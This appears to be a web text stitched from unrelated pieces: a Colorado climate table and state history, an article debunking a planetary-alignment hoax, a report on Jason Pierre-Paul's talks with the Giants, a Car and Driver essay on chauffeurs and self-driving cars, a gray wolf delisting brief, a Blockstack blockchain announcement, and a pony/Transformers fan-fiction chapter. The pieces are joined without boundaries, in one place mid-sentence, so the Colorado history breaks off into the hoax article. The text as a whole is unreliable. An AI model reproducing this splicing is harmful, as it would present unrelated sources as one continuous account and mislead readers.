21/1 79/41
26/5 82/47
28/8 80/46
27/8 73/40
23/4 62/25
17/−4 47/12
8/−11 35/1
2/−17 Colorado Springs 43/18
6/−8 45/20
7/−7 52/26
11/−3 60/33
16/1 69/43
21/6 79/51
26/11 85/57
29/14 82/56
28/13 75/47
24/8 63/36
17/2 51/25
11/−4 42/18
6/−8 Denver 49/20
9/−7 49/21
9/−6 56/29
13/−2 64/35
18/2 73/46
23/8 84/54
29/12 92/61
33/16 89/60
32/16 81/50
27/10 68/37
20/3 55/26
13/−3 47/18
8/−8 Grand Junction 38/17
3/−8 45/24
7/−4 57/31
14/-1 65/38
18/3 76/47
24/8 88/56
31/13 93/63
34/17 90/61
32/16 80/52
27/11 66/40
19/4 51/28
11/−2 39/19
4/−7 Pueblo 47/14
8/−10 51/17
11/−8 59/26
15/−3 67/34
19/1 77/44
25/7 87/53
31/12 93/59
34/15 90/58
32/14 82/48
28/9 69/34
21/1 56/23
13/−5 46/14
8/−10
Earthquakes [ edit ]
Despite its mountainous terrain, Colorado is relatively quiet seismically. The U.S. National Earthquake Information Center is located in Golden.
On August 22, 2011, a 5.3 magnitude earthquake occurred 9 miles (14 km) west-southwest of the city of Trinidad.[37] There were no casualties and only a small amount of damage was reported. It was the second-largest earthquake in Colorado's history. A magnitude 5.7 earthquake was recorded in 1973.[38]
In early morning hours of August 24, 2018, four minor earthquakes rattled the state of Colorado ranging from magnitude 2.9 to 4.3.[39]
Colorado has recorded 525 earthquakes since 1973, a majority of which range 2 to 3.5 on the Richter scale.[40]
History [ edit ]
Great Kiva at Chimney Rock in the San Juan Mountains of Southwestern Colorado. It is said to have been built by the Ancient Pueblo peoples.
The region that is today the state of Colorado has been inhabited by Native Americans for more than 13,000 years. The Lindenmeier Site in Larimer County contains artifacts dating from approximately 11200 BC to 3000 BC. The eastern edge of the Rocky Mountains was a major migration route that was important to the spread of early peoples throughout the Americas. The Ancient Pueblo peoples lived in the valleys and mesas of the Colorado Plateau.[41] The Ute Nation inhabited the mountain valleys of the Southern Rocky Mountains and the Western Rocky Mountains, even as far east as the Front Range of present day. The Apache and the Comanche also inhabited Eastern and Southeastern parts of the state. At times, the Arapaho Nation and the Cheyenne Nation moved west to hunt across the High Plains.
The Spanish Empire claimed Colorado as part of its New Mexico province prior to U.S. involvement in the region. The U.S. acquired a territorial claim to the eastern Rocky Mountains with the Louisiana Purchase from France in 1803. This U.S. claim conflicted with the claim by Spain to the upper Arkansas River Basin as the exclusive trading zone of its colony of Santa Fé de Nuevo México. In 1806, Zebulon Pike led a U.S. Army reconnaissance expedition into the disputed region. Colonel Pike and his men were arrested by Spanish cavalrymen in the San Luis Valley the following February, taken to Chihuahua, and expelled from Mexico the following July.
The U.S. relinquished its claim to all land south and west of the Arkansas River and south of 42nd parallel north and west of the 100th meridian west as part of its purchase of Florida from Spain with the Adams-Onís Treaty of 1819. The treaty took effect February 22, 1821. Having settled its border with Spain, the U.S. admitted the southeastern portion of the Territory of Missouri to the Union as the state of Missouri on August 10, 1821. The remainder of Missouri Territory, including what would become northeastern Colorado, became unorganized territory, and remained so for 33 years over the question of slavery. After 11 years of war, Spain finally recognized the independence of Mexico with the Treaty of Córdoba signed on August 24, 1821. Mexico eventually ratified the Adams-Onís Treaty in 1831. The Texian Revolt of 1835–36 fomented a dispute between the U.S. and Mexico which eventually erupted into the Mexican–American War in 1846. Mexico surrendered its northern territory to the U.S. with the Treaty of Guadalupe Hidalgo at the conclusion of the war in 1848.
Most American settlers traveling overland west to the Oregon Country, namely the new goldfields of California, or the new Mormon settlements of the State of Deseret in the Salt Lake Valley, avoided the rugged Southern Rocky Mountains, and instead followed the North Platte River and Sweetwater River to South Pass (Wyoming), the lowest crossing of the Continental Divide between the Southern Rocky Mountains and the Central Rocky Mountains. In 1849, the Mormons of the Salt Lake Valley organized the extralegal State of Deseret, claiming the entire Great Basin and all lands drained by the rivers Green, Grand, and Colorado. The federal government of the U.S. flatly refused to recognize the new Mormon government, because it was theocratic and sanctioned plural marriage. Instead, the Compromise of 1850 divided the Mexican Cession and the northwestern claims of Texas into a new state and two new territories, the state of California, the Territory of New Mexico, and the Territory of Utah. On April 9, 1851, Mexican American settlers from the area of Taos settled the village of San Luis, then in the New Mexico Territory, later to become Colorado's first permanent Euro-American settlement.
The Anasazi Heritage Center in Dolores
In 1854, Senator Stephen A. Douglas persuaded the U.S. Congress to divide the unorganized territory east of the Continental Divide into two new organized territories, the Territory of Kansas and the Territory of Nebraska, and an unorganized southern region known as the Indian territory. Each new territory was to decide the fate of slavery within its boundaries, but this compromise merely served to fuel animosity between free soil and pro-slavery factions.
The gold seekers organized the Provisional Government of the Territory of Jefferson on August 24, 1859, but this new territory failed to secure approval from the Congress of the United States embroiled in the debate over slavery. The election of Abraham Lincoln for the President of the United States on November 6, 1860, led to the secession of nine southern slave states and the threat of civil war among the states. Seeking to augment the political power of the Union states, the Republican Party-dominated Congress quickly admitted the eastern portion of the Territory of Kansas into the Union as the free State of Kansas on January 29, 1861, leaving the western portion of the Kansas Territory, and its gold-mining areas, as unorganized territory.
Territory act [ edit ]
Thirty days later on February 28, 1861, outgoing U.S. President James Buchanan signed an Act of Congress organizing the free Territory of Colorado.[12] The original boundaries of Colorado remain unchanged except for government survey amendments. The name Colorado was chosen because it was commonly believed that the Colorado River originated in the territory.[42] In 1776, Spanish priest Silvestre Vélez de Escalante recorded that Native Americans in the area knew the river as el Rio Colorado for the red-brown silt that the river carried from the mountains.[43] In 1859, a U.S. Army topographic expedition led by Captain John Macomb located the confluence of the Green River with the Grand River in what is now Canyonlands National Park in Utah.[44] The Macomb party designated the confluence as the source of the Colorado River.
On April 12, 1861, South Carolina artillery opened fire on Fort Sumter to start the American Civil War. While many gold seekers held sympathies for the Confederacy, the vast majority remained fiercely loyal to the Union cause.
In 1862, a force of Texas cavalry invaded the Territory of New Mexico and captured Santa Fe on March 10. The object of this Western Campaign was to seize or disrupt the gold fields of Colorado and California and to seize ports on the Pacific Ocean for the Confederacy. A hastily organized force of Colorado volunteers force-marched from Denver City, Colorado Territory, to Glorieta Pass, New Mexico Territory, in an attempt to block the Texans. On March 28, the Coloradans and local New Mexico volunteers stopped the Texans at the Battle of Glorieta Pass, destroyed their cannon and supply wagons, and dispersed 500 of their horses and mules. The Texans were forced to retreat to Santa Fe. Having lost the supplies for their campaign and finding little support in New Mexico, the Texans abandoned Santa Fe and returned to San Antonio in defeat. The Confederacy made no further attempts to seize the Southwestern United States.
In 1864, Territorial Governor John Evans appointed the Reverend John Chivington as Colonel of the Colorado Volunteers with orders to protect white settlers from Cheyenne and Arapaho warriors who were accused of stealing cattle. Colonel Chivington ordered his men to attack a band of Cheyenne and Arapaho encamped along Sand Creek. Chivington reported that his troops killed more than 500 warriors. The militia returned to Denver City in triumph, but several officers reported that the so-called battle was a blatant massacre of Indians at peace, that most of the dead were women and children, and that bodies of the dead had been hideously mutilated and desecrated. Three U.S. Army inquiries condemned the action, and incoming President Andrew Johnson asked Governor Evans for his resignation, but none of the perpetrators was ever punished. This event is now known as the Sand Creek massacre.
In the midst and aftermath of Civil War, many discouraged prospectors returned to their homes, but a few stayed and developed mines, mills, farms, ranches, roads, and towns in Colorado Territory. On September 14, 1864, James Huff discovered silver near Argentine Pass, the first of many silver strikes. In 1867, the Union Pacific Railroad laid its tracks west to Weir, now Julesburg, in the northeast corner of the Territory. The Union Pacific linked up with the Central Pacific Railroad at Promontory Summit, Utah, on May 10, 1869, to form the First Transcontinental Railroad. The Denver Pacific Railway reached Denver in June the following year, and the Kansas Pacific arrived two months later to forge the second line across the continent. In 1872, rich veins of silver were discovered in the San Juan Mountains on the Ute Indian reservation in southwestern Colorado. The Ute people were removed from the San Juans the following year.
Statehood [ edit ]
The United States Congress passed an enabling act on March 3, 1875, specifying the requirements for the Territory of Colorado to become a state.[45] On August 1, 1876 (four weeks after the Centennial of the United States), U.S. President Ulysses S. Grant signed a proclamation admitting Colorado to the Union as the 38th state and earning it the moniker "Centennial State".[3]
The discovery of a major silver lode near Leadville in 1878 triggered the Colorado Silver Boom. The Sherman Silver Purchase Act of 1890 invigorated silver mining, and Colorado's last, but greatest, gold strike at Cripple Creek a few months later lured a new generation of gold seekers. Colorado women were granted the right to vote beginning on November 7, 1893, making Colorado the second state to grant universal suffrage and the first one by a popular vote (of Colorado men). The repeal of the Sherman Silver Purchase Act in 1893 led to a staggering collapse of the mining and agricultural economy of Colorado, but the state slowly and steadily recovered. Between the 1880s and 1930s, Denver's floriculture industry developed into a major industry in Colorado.[46][47] This period became known locally as the Carnation Gold Rush.[48]
Colorado became the first western state to host a major political convention when the Democratic Party met in Denver in 1908. By the U.S. Census in 1930, the population of Colorado first exceeded one million residents. Colorado suffered greatly through the Great Depression and the Dust Bowl of the 1930s, but a major wave of immigration following World War II boosted Colorado's fortune. Tourism became a mainstay of the state economy, and high technology became an important economic engine. The United States Census Bureau estimated that the population of Colorado exceeded five million in 2009.
Three warships of the U.S. Navy have been named the USS Colorado. The first USS Colorado was named for the Colorado River. The later two ships were named in honor of the state, including the battleship USS Colorado which served in World War II in the Pacific beginning in |
, they would have read admirable debunks of the Daily Buzz Live hoax from news sites like Slate, EarthSky, AL.com, or the granddaddy of all hoax-busting sites, Snopes.
Another cause for skepticism emanates from the tweet embedded at the top of Daily Buzz Live’s story.
This tweet looks like it came from NASA, thus adding credibility to the ridiculous story. But if anyone had taken the time to scan through NASA’s tweets from December 14, they would have noticed that the tweet didn’t exist.
Faking tweets is actually extremely easy. All one needs to do is visit LemmeTweetThatForYou.com. This tweet took under a minute to fabricate:
The visual similarities between these two fake NASA tweets is ample confirmation that Daily Buzz Live used LemmeTweetThatForYou.com.
That a website knowingly perpetuated a hoax shouldn’t be surprising. This is the Internet in 2014, after all, and hoaxes are a dime a dozen. But Daily Buzz Live represents an uncomfortable new frontier, because it’s not your typical den of hoaxers.
A disclaimer nestled deep in Daily Buzz Live’s “Contact Us” page reads:
Daily Buzz Live is a news web publication with news articles. Most are inspired by real news events, And just a few stories are works of complete fiction. Those few articles are for entertainment purposes only. The articles and stories may or may not use real names, always a semi real and/or mostly, or substantially, fictitious ways. Therefore, just a few articles contained on this website Daily Buzz Live are works of fiction. Any truth or actual facts contained in those stories or posts are purely incidental or coincidental and not intended to be, or be construed as, facts.
Daily Buzz Live’s argument is, essentially, that the planetary alignment story is a work of satire. Other sites like the National Report and the Daily Currant write similar fake news stories on a daily basis. These sites function like more subtle versions of The Onion, where the humor comes from laughing at the suckers who credulously share the stories on social media.
What separates Daily Buzz Live from the National Report or the Daily Current is that every single article on the latter two sites is fake. There is no question that they are entirely satirical publications. (Representatives from Daily Buzz Live did not immediately respond to a request for comment on their publication practices.)
On Daily Buzz Live, meanwhile, the real and the unreal are intermingled, with no labels separating them. The planetary alignment story sits next to stories about factual events like “8 Photos Of Shocking Police Brutality On Peaceful Protesters and Civilians” and “Horrific Racist Song About Michael Brown At Charity Event ‘And He’s Dead, Dead, Michael Brown’“. These are pieces that wouldn’t be out of place on real viral news sites.
If someone gets called for posting a fake story from the National Report—for example, one about Facebook’s plan to begin charging users a $2.99 monthly fee—they probably won’t do so again. In that moment, the one-time sucker joins a gradually expanding circle of knowledgeable people who mock the remaining suckers. (There is occasionally a political agenda to the mockery, albeit a well-deserved one. Your biases would have to be pretty deep-seated to blind you to the sheer unbelievability of a story like “Obamacare Pays For Octomom’s New Fertility Treatments“.)
This cycle, which powers the National Report’s popularity, doesn’t exist for Daily Buzz Live. Instead, the real and the fake exist side-by-side, and the responsibility for determining which story is which rests entirely with the reader.
Allen Montgomery, the founder of the National Report, told the Daily Dot that a site like Daily Buzz Live is intended as entertainment rather than news and should be approached as such.
“These sites (I happen to own a similar site myself) take the idea of aggregated/curated content from other sources and mix in items that are satirical in nature,” Montgomery said, “in order to prolong the hoax and make the stories more believable (which is needed to create truly viral content).”
Montgomery continued, “I would argue that it is not the responsibility of the content creator to inform readers as to what is real and what is not, rather it is the responsibility of the content consumer to verify.”
“In a perfect world (one that seems far away at this point), content consumers would be more skeptical about what they share and would look for secondary (reputable) sources for stories they believe to be questionable,” he said.
Montgomery’s advice for news consumers is crucial in an age where social media has become the single most important avenue for the distribution of online news content.
In a recent Pew study of trust in three dozen news sources, the only publication that earned universal distrust regardless of respondents’ political ideology was BuzzFeed. At the same time, BuzzFeed is arguably the most successful online publisher in the world right now.
The lesson from BuzzFeed’s ability to win the Internet without necessarily winning its trust is that social media often severs news content from the news producer’s reputation. When someone decides whether to click on a story that their friend shared on Facebook, their click usually depends more on their friend’s reputation or the headline’s catchiness than the publication’s credibility.
It is this phenomenon that give sites like Daily Buzz Live space to blossom on social media. This is also why, if readers want to avoid getting snookered, they’re going to have to hone their bullshit detectors. But conducting the necessary research is far more difficult and time-consuming than simply clicking “Share.” Just the word “research” turns off a great many people who look back on their college essay-writing days with loathing.
The proof of our distaste for due diligence is right there in the pudding: In the time it took to write this article, another 13,000 people shared Daily Buzz Live’s planetary-alignment story. If you want to avoid ending up like them, you’re going have to start doing your homework.
Photo via ESA/Hubble and NASA/Nasa.gov (Public Domain)Negotiations continued Tuesday between the New York Giants and representatives for injured defensive end Jason Pierre-Paul, as the two sides discussed a one-year, incentive-heavy deal that would get Pierre-Paul into the team facility this week and possibly playing by Week 10 or Week 12, according to sources familiar with the talks.
There's greater optimism from the Giants' side than there was when he visited last month about Pierre-Paul's ability to return and play this season. Team doctors examined him Monday, and the fact that the sides were talking contract after that is an indication that he could be on the verge of a return to the team. But there remains a chance the negotiations don't end up producing a deal, in which case the Giants likely would rescind Pierre-Paul's $14.813 million franchise tender and make him an unrestricted free agent.
Along with his hand injury, the Giants remain concerned about Jason Pierre-Paul's conditioning. Brad Penner/USA TODAY Sports
ESPN's Adam Schefter reported Monday night that Pierre-Paul met Monday with Giants GM Jerry Reese, coach Tom Coughlin and defensive line coach Robert Nunn, and that the team told Pierre-Paul it wanted him back. That's a strong positive sign for Pierre-Paul's chances of actually coming back, because the last time he was in town, the Giants told him they didn't think he was anywhere near ready and to return in six weeks for another checkup on the right hand he severely damaged in a July 4 fireworks accident.
That was seven weeks ago, and Pierre-Paul returned Monday for another exam on his hand. Team doctors have been examining him, as has hand specialist Robert Hotchkiss from the Hospital for Special Surgery, who examined him last month as well. The Giants are using the results of the medical exam to determine what they can reasonably expect from Pierre-Paul once he does return. It's not just the condition of the hand that concerns them; there are also legitimate questions about what kind of conditioning Pierre-Paul has or has not been able to do since the accident.
Pierre-Paul has shown the Giants video of his working out with a private defensive line coach he hired to help refine his technique, and he's posted videos of himself lifting weights on his Instagram account. But the Giants have taken the stance that they'll base their evaluation on what their own doctors and trainers think about Pierre-Paul's physical condition, and Monday's visit was part of that process.
The medical information is necessarily tied into the financial discussion, since the amount of money the Giants are willing to pay Pierre-Paul this year is tied to the kind of production they think they can expect. The team wants Pierre-Paul to accept a deal that's far lower than the $14.813 million franchise tender it offered him in March, though the Giants are willing to offer him the chance to make some of the money back through incentives. They're not allowed to sign him to a deal that extends beyond this year, because the franchise player rules prohibit teams from signing their own franchise players to long-term deals after July 15.
There's a sense among the people I've talked to that the situation could be resolved one way or the other Tuesday. There are a lot of potential outcomes still on the table, but a resolution is likely to happen soon. Pierre-Paul's season officially ends if he doesn't sign his franchise tender by Nov. 17, and Monday was his second official free-agent visit, which is the most allowed under NFL rules. The Giants can't work him out or examine him again without signing him first.
The Giants play at New Orleans, at Tampa Bay and home against New England the next three weeks and have a bye in Week 11. Assuming he signs this week, the timing of Pierre-Paul's potential return to the field would depend on how quickly he progresses in his rehab and conditioning over the coming weeks.The first automobiles, in the early 1900s, were a headache. The tool kit of the 1907 Pierce Arrow included, ominously, an extra set of intake and exhaust valves. Cars needed weekly oil changes. One manual of the period suggested that drivers have on hand, among other things, a small pipe wrench, a pair of gas pipe pliers, large and small screwdrivers, a pair of flat-nosed pliers, a small hammer, a pair of wire cutters, a large jackknife, half-round and three-cornered files, a roll of sticky tape, a chisel, a coil of soft iron, a monkey wrench, a few links of extra chain, a piece of asbestos for making gaskets, cans of oil and grease, and extra plugs. In response, owners adapted the model they had been using for years with their horses and carriages. The coachman—the man responsible for managing the army of stablehands and grooms who kept horses fed and shod and carriages clean and functional—was transformed into the chauffeur. Responsibility for the new technology was outsourced.
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“Most wealthy motorists simply wanted to enjoy the exhilaration of speed and the freedom of long-distance travel without rails, which automobiles offered,” historian Kevin Borg writes in his wonderful essay, “The ‘Chauffeur Problem’ in the Early Auto Era.” “More than that, [owners] wanted to share these experiences with their social peers. These motorists viewed the automobile trip as a social setting within which the mechanical demands became a distraction, a nuisance, and possibly even an embarrassment.” The car was to its first owners an instrument of convenience.
What happened next, Borg writes, was a disaster. The guardians of the new technology misbehaved. They took kickbacks from garages. They were rude. They hired out their owners’ cars after hours (a move known as “hacking it”). “Between 1903 and 1912, howls of protest arose over chauffeurs’ arrogance and insubordination,” Borg writes, “and the pages of the automotive trade press overflowed with letters, articles, and editorials describing, complaining about, and offering solutions to the ‘chauffeur problem.’ ” Alarmed owners were forced to crack down. Drivers’ licenses originated as a means of reining in the early chauffeurs. Garages installed security systems. Meanwhile, cars themselves grew steadily more reliable, making the chauffeur less and less necessary. And as the automobile matured, owners ultimately realized that what they wanted from the new technology was not convenience at all. They wanted control. They discovered that the act of driving was the kind of pleasure best kept for themselves.
The chauffeur problem reminds us that in any period of technological transition, what proves vexing is not the technology itself. It’s working out the details, rules, and social expectations around the technology. In the same period, the fledgling telephone industry was promoting its groundbreaking technology as a business instrument and actively discouraging potential customers from using the device for socializing and gossipping. They had the talking-by-wire part figured out. But it took until the 1920s for them to figure out what talking by wire was for. The cellphone, similarly, was a phone first, then a portable telex, and now increasingly a gadget for posting photographs to Instagram and Snapchat. There is a lot of confusion in the earliest stage of any technological disruption, which brings us to the reason for this special section of Car and Driver. The autonomous-vehicle revolution is beginning, and we are now very much in the confusing stage.
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Speaking of confusion, can we start with the phrase “autonomous vehicle”? Who came up with this term? A human piloting a car is autonomous. The driver slows and speeds up or turns and stops entirely as he or she chooses. Autonomy was the point of getting rid of the chauffeurs. The new class of electronically directed vehicles is the opposite of autonomous: It is a return to the idea that we are better off leaving the task of driving to a third party. The phrase “self-driving car” is worse. The self-driving car does the opposite of drive itself. It is a vehicle embedded in a technological grid, tethered to the driving environment by a system of sensors and algorithms. Words like “autonomous” and “self-driving” mislead because they promise a kind of self-sufficiency on the part of the machine. The autonomous entity is the thing that is supposed to take care of itself. But the coming class of cars does not take care of itself at all. These cars are dependent and, as such, require a larger conversation about what the rules and expectations of that dependency should look like. Once a car belongs to a network, you have to worry about whether the network is safe. Once an algorithm is in command, you have to worry about how the algorithm thinks. We are surrendering control as surely as the first car owners of a century ago did, and when you surrender control, you could end up with a chauffeur problem.
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One of the most read essays of the moment appeared not long ago in the Atlantic magazine. Written by Jean M. Twenge, “Have Smartphones Destroyed a Generation?” tells a troubling story: Today’s teenagers go out less and are less likely to hold a job. Depression and suicides have soared. A kind of passivity has set in, and Twenge argues, persuasively, that the smartphone is the main culprit. This is not, of course, what the creators of the smartphone anticipated. The remarkable device that is the contemporary phone is the result of thousands of brilliant programmers and engineers working in parallel to push the boundaries of portable electronics further than ever before. They focused on what their invention would do. They rarely thought about the broader implications of their efforts—except to blithely assure us that the computer in our pocket would liberate and energize. The creators of new technologies pursue their own agenda. But it is not always the agenda of users.
We are now in the same situation with the automobile. It wasn’t Audi, Ford, or GM that pushed hardest for the dependent vehicle. It was Apple, Google, and Intel, companies for which the automobile is not primarily an aesthetic object and driving is not an instrument of pleasure. And the users they have in mind, needless to say, are not the readers of Car and Driver. They are the kids lying passively on the couch with their smartphones. “Nearly all boomer high-school students had their driver’s license by the spring of their senior year; more than one in four teens today still lack one at the end of high school,” Twenge writes. “In conversation after conversation, teens described getting their license as something to be nagged into by their parents—a notion that would have been unthinkable to previous generations.” These motorists viewed the automobile trip as a social setting within which mechanical demands became a distraction, a nuisance, and possibly even an embarrassment.
Heaven help us.HELENA, Mont. — The federal agency that removed the gray wolf from the endangered species list in March has changed its mind and is asking a federal judge to vacate the decision.
The request, by the United States Fish and Wildlife Service, follows a temporary order by Judge Donald Molloy of Federal District Court in Missoula, Mont., against the service’s decision in March to remove the wolf from the list. The agency said then that the wolf population in the Northern Rockies had fully recovered.
The order stopped a plan to allow hunting of the wolves in Montana, Idaho and Wyoming until a lawsuit by environmentalists challenging the wolves’ removal from the endangered species list could be heard.
On Monday the Fish and Wildlife Service asked Judge Molloy to vacate the delisting and allow officials to reconsider their finding and further study the issue.
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“We are going to take a look at everything again and address the concerns expressed to us by the judge and everyone else,” said Sharon Rose of the service’s Mountain Prairie Office.Blockstack, a San Francisco-based firm, is adapting the technology of Bitcoin for mainstream finance, including clearing and settlement. A small group of banks have started beta testing Blockstack’s technology, Bloomberg Business reports.
The startup, run by former Google Inc. and Nasdaq OMX Group Inc. employees, is jumping into the competition to use digital-currency technology to tackle financial companies’ slow, antiquated back-office operations.
“We’re not trying to destroy banking or financial services as they are today,” said Peter Shiau, Blockstack’s co-founder and chief operating officer, who previously worked at Standard Chartered Bank in product innovation. “We see what we’re building as technology that can help improve the back-office infrastructure that financial institutions are using.”
Blockstack’s team also includes Philip Harris, a former Nasdaq executive, as an adviser, and chief executive officer and founder Miron Cuperman, who used to work as a senior security engineer at Google.
According to the company’s website, Blockstack is a licensable software package to enable financial institutions and other enterprises to build sophisticated blockchain 2.0 applications on their own private blockchain.
Blockstack.io is a hosted version of Blockstack to allow anyone to start building applications on a fully-featured private blockchain. Available in private beta, Blockstack.io gives financial institutions a stack of inter-operable components to build on, including a private, hosted blockchain, a colored coin issuer for representing assets, a framework for smart contracts using oracles and multi-signature transactions, and the ability to plug in external open source components.
“The initial benefit of a private blockchain is simple: a financial institution can accelerate their learning about blockchain technology and prototype blockchain-based applications quickly and easily,” states the Blockstack product and service announcement. “The ultimate benefit of a private blockchain is that it gives enterprises a choice of infrastructure: whether to run an application on a public blockchain or run on a private blockchain with a group of known counter-parties.”
Blockstack includes critical functionality for financial services: managing time-dependent financial transactions like coupon payments for bonds, ensuring complex compliance requirements from multiple groups in an organization, and scaling up the infrastructure to handle millions of transactions at low latency.
The Blockstack platform is designed to work with technologies designed for Bitcoin Core. As improvements are made to Bitcoin, they can be rolled in Blockstack so that it stays current with the latest technology.
“When you have this private blockchain that’s shared by a number of financial institutions, all you’re doing is just keeping records of the transactions and who owns what,” Shiau said. “What’s nice about the blockchain is you can do that in real time. There are no fees involved.”
Blockstack joins a growing number of fintech companies that want to use or adapt the blockchain technology of Bitcoin to enhance the efficiency and lower the cost of traditional banking and financial systems. Other companies developing ways to use the blockchain to streamline mainstream finance are Nasdaq, which recently partnered with startup Chain to implement the blockchain technology in its Nasdaq Private Market, and Blythe Masters’ Digital Asset Holdings, which uses distributed ledgers to track and settle both digital and mainstream financial assets in a fast and secure environment.Chapter 9 Code of Honor
LOCATION: Sweet Apple Acres.
TIME: Late Morning.
Gyvon's jaw almost hit the ground at the spectacle. He had taken the day off from training the Guards, and Rainbow Dash had been bragging about how she could perform a Sonic Rainboom during one of their sparring sessions. Gyvon had scoffed at the idea, claiming it to be impossible. However, there it was, right before his eyes and ears, a rainbow colored shockwave accompanied by a sonic boom. He almost wished Skywarp were there to explain how it could work, though the former 'Con did tend towards long-winded explanations.
"Time to pay up, sugarcube." said Applejack. Gyvon pulled the thirty bits he had foolishly bet out of his pocket, and handed them to the orange mare. "I saw it, and I still don't believe it." he said, still awestruck.
Rainbow Dash landed next to him and beamed with pride. "See, easy as pie." she said, not even bothering to hide the smugness in her voice. Gyvon sighed. "Yeah yeah, I never should've doubted you." he said.
Twilight came trotting up just then. "Hey Gyvon! Fluttershy's looking for you. She thinks something in the Everfree Forest raided her chicken coop last night." she said. "It's probably just a fox or wild wolf, but with the Everfree, you never know what it is." Gyvon nodded. "Yeah, I can swing by." He turned to Rainbow Dash. "Let's continue this later, Dash."
LOCATION: Fluttershy's Cottage
TIME: Late Morning.
"Oh no, not another one." said Fluttershy. She had only been gone a few minutes and her chicken coop had been raided again, this time leaving a gaping hole in the side. "Oh, what kind of horrible monster could be hurting these poor chickens?" Fluttershy turned and went to her cottage, picking up a bag of nails on her way inside.
When she disappeared inside the cottage, something in the forest began to stir, and a raptor suddenly appeared out of the shadows. He was famished, having been unsuccessful in his efforts to hunt prey. Even the domesticated chickens he had stolen from the coop had managed to flee.
Now, with the yellow pony gone, the raptor would attempt an easy meal once more. The raptor sighted his quarry, this time a little white rabbit, and charged. The rabbit turned as it heard the raptor approach and stood frozen as it jumped the fence. He was saved when Fluttershy dashed out of her cottage.
"Just what do you think you're doing, mister?" she shouted. The raptor froze and turned towards the source of the outburst, only to look straight into Fluttershy's eyes. "You're the one who's been hurting the chickens, aren't you?" she asked. The raptor was unable to look away, it was frozen in place by the pony's stare. "AREN'T YOU?"
"Y... yes." the raptor replied meekly. He could've snapped up the little pony in two bites, and yet he was completely helpless as she flew towards him, coming within inches of his mouth. "What do you have to say for yourself?" The raptor couldn't take it any more. "I'm sorry!" he cried "I'm just so hungry. I haven't eaten in days." Fluttershy continued to stare daggers at him "Don't you lie to me! You stole two chickens earlier. Didn't you eat them?" she asked. The raptor shook his head. "No, they escaped before I could."
Fluttershy's expression immediately softened. "Oh, you poor thing. Wait here. I'll get you something." she said and flew into her cottage. She went to her fridge and pulled out a plate of fresh fish. "I'll have to catch some more for the otters later." Just then, there was a knock on her front door. Fluttershy looked out the window to see Gyvon and Twilight standing outside. She went to open the door to let her friends in.
"Hey Fluttershy." said Gyvon as he stepped into her cottage. "I'm ready whenever you are." Fluttershy shook her head. "Oh, I've already caught the thief. He's out back." Gyvon walked over to the back door, opened it, then immediately shut it. "IS THAT A VELOCIRAPTOR?" he asked. Fluttershy shrugged. "I don't know what he is, just that he's very hungry. I was about to give him some fish." she said. "Would you like to meet him?"
Gyvon hesitated. He knew that raptors were supposed to be dangerous predators, but if Fluttershy wasn't afraid of it, it couldn't be too bad. But the raptor could still hurt Fluttershy. "Sure." he said. Twilight nodded as well and levitated the plate of fish. Fluttershy opened the back door and walked out, with Gyvon and Twilight following close behind. Gyvon tensed as he approached the dinosaur, ready to unsheathe his blades at a moments notice. His SEAL instincts kicked into overdrive. There was something strange about the raptor.
"Here you go, mister. I brought you some fish" she said as Twilight set the plate down in front of the raptor. "Thank you." said the raptor, managing to only mildly surprise Gyvon as it picked up a trout and threw it into it's mouth. "Allow me to formally introduce myself. You may call me Dinobot." he said. Right before Gyvon's eyes, the raptor did the one thing that could surprise him. He transformed.
Human-like arms folded out of his chest cavity, and his head folded into the now empty space. The skin on his legs and parts of his torso was absorbed, revealing orange and blue metal trimmed with bone. A humanoid head, made of blue metal wearing an orange helmet, extended from the top of his torso. On his waist hanged a large pistol and segmented sword.
Out in the forest, a twig snapped, alerting both Dinobot and Gyvon. "DEATH TO THE TRAITOR!" a voice yelled, and gunfire erupted. Gyvon grabbed both Fluttershy and Twilight, ran for the cottage, and dived inside, while the gunfire followed Dinobot, who took cover behind the chicken coop.
"What's going on?" asked Twilight, a tinge of panic in her voice. "Firefight." replied Gyvon, his voice amazingly calm. "Stay here and keep your heads down. Get behind something heavy if you can." he said as he transformed into his combat form. He dashed out of the cottage and towards the chicken coop, firing a few bursts from his gatling gun along the way.
"Friends of yours?" he asked Dinobot as he took cover next to him. "The Predacons are not friends, Autobot. Merely former acquaintances." growled Dinobot. The coop was being shredded by the incoming fire. Some of the chickens managed to flee to the open door of the cottage. Gyvon leaned out and fired his gatling gun. His ammo counter plummeted rapidly. "We're gonna get pulverized if we stay here. Any ideas?" he asked. Dinobot fired his pistol around the corner blindly. "A full frontal assault. It'll be the last thing they expect." he said as he switched his pistol to his offhand and drew his sword.
Gyvon nodded and unsheathed the blade in his right arm. When the incoming fire died down, Dinobot and Gyvon lept out from behind the coop and charged the enemy, firing as they went. Gyvon saw one of the Predacons, this one purple with spider-like legs sticking out of it's arms, step out from behind a tree. Gyvon sighted him in and fired, crippling the assailant. His ammo counter warned him that he was running dangerously low, so he retracted the gatling and unsheathed another blade.
Before long, Dinobot and Gyvon had closed to within melee range. Dinobot impaled one Predacon on his sword, while Gyvon sliced another into three pieces. They scanned for more targets, but found none. Dinobot scoffed. "Only three Predacons sent to apprehend me? Galvatron must have no faith in my skills." he said. Suddenly, Gyvon tackled Dinobot to the ground, and crossed his blades at Dinobot's throat.
"What did you say?" asked Gyvon, his voice dripping with venom. Dinobot was frozen in fear. He did not expect the Autobot to turn on him after the battle was won. "What is the meaning of this? I am an ally, and you treat me like an enemy? Have you no honor?" he asked. Gyvon glared back. "What does a Decepticon know of honor?" he replied.
Gyvon pulled his right arm back, ready to skewer Dinobot right then and there. However, Twilight and Fluttershy chose that moment to come out of the cottage. "Gyvon, no!" cried Twilight. She channeled magic through her horn, and pulled Gyvon off of Dinobot. "Stay out of this, Twilight." he said. Twilight slammed Gyvon against a tree and held him there. Fluttershy floated over to Dinobot and helped him up.
"Weren't you paying attention?" asked Twilight, releasing her hold on Gyvon. "They called him a traitor. I don't think he's a Decepticon. Not anymore at least." Before they could debate the issue further, there came a loud, whining noise from the sky, the sound of a jet engine. Gyvon looked up, searching for the source of the noise. "Oh shit!" he said. It was an F-22, painted a bright electric blue. He knew it wasn't an Air Force bird, since all of their Raptors were stealth gray. "EVERYONE INTO THE FOREST! HIDE!" he yelled. Twilight and Fluttershy saw the jet and followed Gyvon's orders. Dinobot hesitated a moment, but followed suit as well.
"Thundercracker!" growled Dinobot. "Why did that sycophant have to show up?" The F-22 swooped low over the field, transformed, and landed. "Dinobot!" roared the seeker. "Show yourself!"
